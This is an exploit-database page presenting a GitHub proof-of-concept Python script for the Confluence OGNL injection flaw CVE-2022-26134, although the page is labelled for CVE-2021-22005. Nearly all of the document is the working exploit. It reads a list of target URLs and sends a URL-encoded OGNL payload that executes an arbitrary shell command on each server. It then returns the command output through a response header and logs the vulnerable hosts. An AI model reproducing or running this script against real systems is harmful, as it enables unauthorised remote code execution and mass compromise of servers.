Exploit database

GH-c5e772f56d8ca689023cfd43cfb15fc8

24-2021/exp-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-22005

16 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
24-2021/exp-pocRevision c5f6c62709c1

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2022-26134/CVE-2022-26134-POC.py

Python · 2,624 bytes
import argparse
import requests
import re
requests.packages.urllib3.disable_warnings()

print('by chaosec公众号 禁止一切违法操作!!!')
print('\n')

#以下是参数列表
def exp_agr():
    parg = argparse.ArgumentParser(description='CVE-2022-26134-POC')
    # parg.add_argument('-u', '--url', dest="url", required=True, type=str)
    parg.add_argument('-c', '--command', dest="command", required=False, type=str,default="whoami")
    parg.add_argument('-i', '--infile', dest="infile", required=False, type=str, default='url.txt')
    parg.add_argument('-o', '--outfile', dest="outfile", required=False, type=str, default='succ.txt')
    opt = parg.parse_args()
    return opt

#以下是获取版本信息
def get_version(url):
    try:
        res = requests.get("{}/login.action".format(url), verify=False, timeout=5)
        if res.status_code == 200:
            res_version = re.findall("id='footer-build-information'>(.*?)</span>", res.text)
            if res_version != []:
                print('[+]  version: {}'.format(res_version[0]))
            else:
                print("[-]  get version ERROR")
        else:
            print("[-]  get version fail")
    except requests.exceptions.RequestException:
        print(f'[-]get version timeout')
    except:
        print(f'[-]get version Err')

def check_pl():
    a=exp_agr()
    command=a.command
    command=str(command)
    files=a.infile
    outfile=a.outfile
    f=open(files)
    f=f.readlines()
    for url in f:
        url=url.strip('\r\n')
        try:
            paload="/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22{}%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/".format(command)
            req=requests.get(url=url+paload,verify=False,allow_redirects=False,timeout=5)
            get_version(url)
            if req.status_code==302:
                cmd1=req.headers["X-Cmd-Response"]
                print(f'[+] succ_command: {cmd1}')
                f=open(outfile,"a+")
                f.write(url+'\n')
                f.close()
            else:
                print(f'[-] {url} not vulnerable')
        except requests.RequestException:
            print(f'[-] {url} check timeout')
            pass
        except Exception as e:
            print(e)
            print(f'[-] {url} check Err')
            pass




if __name__ == '__main__':
    check_pl()